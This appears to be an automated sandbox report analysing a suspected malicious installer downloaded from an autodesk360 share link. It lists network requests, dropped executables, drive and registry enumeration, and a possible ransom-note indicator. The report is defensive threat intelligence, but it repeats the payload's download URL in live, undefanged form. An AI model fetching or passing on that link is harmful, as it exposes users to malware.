hxxps://bixolabs10[.]autodesk360[.]com/shares/download/file/SH512d4QTec90decfa6ed385e3b661236559/dXJuOmFkc2sud2lwcHJvZDpmcy5maWxlOnZmLmlRTjJQRDFEUUpXS3hfU1pBOFpabVE_dmVyc2lvbj0xMQ?e95615a3b2544d3bb52f2dbbee1b441a

Analysis

max time kernel
698s
max time network
678s
platform
windows10-2004_x64
resource
win10v2004-20231023-en
resource tags

arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
submitted
26/11/2023, 01:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://bixolabs10.autodesk360.com/shares/download/file/SH512d4QTec90decfa6ed385e3b661236559/dXJuOmFkc2sud2lwcHJvZDpmcy5maWxlOnZmLmlRTjJQRDFEUUpXS3hfU1pBOFpabVE_dmVyc2lvbj0xMQ?e95615a3b2544d3bb52f2dbbee1b441a

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
63	1252	MsiExec.exe
64	1252	MsiExec.exe
66	1252	MsiExec.exe
69	1012	powershell.exe
71	1012	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3600	MSIE2CD.tmp
2568	python.exe

Loads dropped DLL 17 IoCs

pid	Process
1252	MsiExec.exe
1252	MsiExec.exe
1252	MsiExec.exe
1252	MsiExec.exe
1252	MsiExec.exe
1252	MsiExec.exe
1252	MsiExec.exe
1444	MsiExec.exe
1444	MsiExec.exe
1444	MsiExec.exe
1444	MsiExec.exe
1444	MsiExec.exe
2568	python.exe
2568	python.exe
2568	python.exe
2568	python.exe
2568	python.exe

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe

Drops file in Windows directory 24 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSICC4F.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEB89.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIED41.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e59ca8a.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID01B.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID52D.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{95361ADF-C6BE-4FCE-920B-24211514A882}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEF07.tmp	msiexec.exe
File created	C:\Windows\Installer\e59ca8a.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSICEFF.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSICFBC.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID55D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID668.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE2CD.tmp	msiexec.exe
File created	C:\Windows\Installer\e59ca8e.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e59ca8e.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE946.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIECC3.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID210.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{CF79B454-82A6-49D8-B5B7-0C00CFB2154D}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEF37.tmp	msiexec.exe

Checks processor information in registry 2 TTPs 1 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	python.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133454360776976117"	chrome.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}\GroupByDirection = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\Shell\{D674391B-52D9-4E07-834E-67C98610F39D}\IconSize = "16"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\system32\Vault.dll,-2#immutable1 = "Manage your Windows credentials."	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\sud.dll,-1#immutable1 = "Default Programs"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\systemcpl.dll,-1#immutable1 = "System"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\systemcpl.dll,-2#immutable1 = "View information about your computer, and change settings for hardware, performance, and remote connections."	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}\FFlags = "18874385"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\timedate.cpl,-51#immutable1 = "Date and Time"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\timedate.cpl,-52#immutable1 = "Set the date, time, and time zone for your computer."	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\srchadmin.dll,-601#immutable1 = "Indexing Options"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\recovery.dll,-2#immutable1 = "Recovery"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\system32\DeviceCenter.dll,-2000#immutable1 = "View and manage devices, printers, and print jobs"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\sdcpl.dll,-100#immutable1 = "Recover copies of your files backed up in Windows 7"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\fvecpl.dll,-1#immutable1 = "BitLocker Drive Encryption"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\NavBar = 000000000000000000000000000000008b000000870000003153505305d5cdd59c2e1b10939708002b2cf9ae6b0000005a000000007b00360044003800420042003300440033002d0039004400380037002d0034004100390031002d0041004200350036002d003400460033003000430046004600450046004500390046007d005f0057006900640074006800000013000000cc0000000000000000000000	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\Microsoft.Windows.ControlPanel\WinPos1280x720x96(1).left = "302"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}\FFlags = "18874369"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 00000000ffffffff	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\telephon.cpl,-1#immutable1 = "Phone and Modem"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\devmgr.dll,-5#immutable1 = "View and update your device hardware settings and driver software."	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\sdcpl.dll,-101#immutable1 = "Backup and Restore (Windows 7)"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\DiagCpl.dll,-15#immutable1 = "Troubleshoot and fix common computer problems."	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\NodeSlot = "9"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\SyncCenter.dll,-3000#immutable1 = "Sync Center"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\Shell	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\Microsoft.Windows.ControlPanel\MaxPos1280x720x96(1).y = "4294967295"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\Shell\{D674391B-52D9-4E07-834E-67C98610F39D}\Sort = 0000000000000000000000000000000001000000904f1e8459ff164d8947e81bbffab36d0b000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\sud.dll,-10#immutable1 = "Choose which programs you want Windows to use for activities like web browsing, editing photos, sending e-mail, and playing music."	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\main.cpl,-100#immutable1 = "Mouse"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}\GroupView = "0"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\Microsoft.Windows.ControlPanel\HotKey = "0"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\MRUListEx = ffffffff	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\Shell\{D674391B-52D9-4E07-834E-67C98610F39D}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}\LogicalViewMode = "3"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\intl.cpl,-2#immutable1 = "Customize settings for the display of languages, numbers, times, and dates."	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\accessibilitycpl.dll,-10#immutable1 = "Ease of Access Center"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\mmsys.cpl,-301#immutable1 = "Configure your audio devices or change the sound scheme for your computer."	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\fhcpl.dll,-52#immutable1 = "File History"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0 = 0c0001008421de39080000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\Shell	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}\Mode = "1"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202020202020202	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}\GroupView = "0"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02020202020202	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\RADCUI.dll,-15300#immutable1 = "RemoteApp and Desktop Connections"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\RADCUI.dll,-15301#immutable1 = "Manage your RemoteApp and Desktop Connections"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\system32\appwiz.cpl,-160#immutable1 = "Uninstall or change programs on your computer."	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\fvecpl.dll,-2#immutable1 = "Protect your PC using BitLocker Drive Encryption."	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\srchadmin.dll,-602#immutable1 = "Change how Windows indexes to search faster"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\recovery.dll,-101#immutable1 = "Recovery"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}\GroupByDirection = "1"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\Shell\{D674391B-52D9-4E07-834E-67C98610F39D}\Rev = "0"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\ImmutableMuiCache\Strings\52C64B7E\@C:\Windows\System32\FirewallControlPanel.dll,-12123#immutable1 = "Set firewall security options to help protect your computer from hackers and malicious software."	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\Shell\{DE4F0660-FA10-4B8F-A494-068B20B22307}\Rev = "0"	explorer.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
3084	NOTEPAD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1892	explorer.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4692	chrome.exe
4692	chrome.exe
1648	chrome.exe
1648	chrome.exe
4884	msiexec.exe
4884	msiexec.exe
4884	msiexec.exe
4884	msiexec.exe
3936	powershell.exe
3936	powershell.exe
1012	powershell.exe
1012	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1892	explorer.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe
Token: SeShutdownPrivilege	4692	chrome.exe
Token: SeCreatePagefilePrivilege	4692	chrome.exe

Suspicious use of FindShellTrayWindow 46 IoCs

pid	Process
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
436	msiexec.exe
436	msiexec.exe
1892	explorer.exe
1892	explorer.exe
1892	explorer.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe
4692	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4692 wrote to memory of 3204	4692	chrome.exe	83
PID 4692 wrote to memory of 3204	4692	chrome.exe	83
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
PID 4692 wrote to memory of 1608	4692	chrome.exe	88
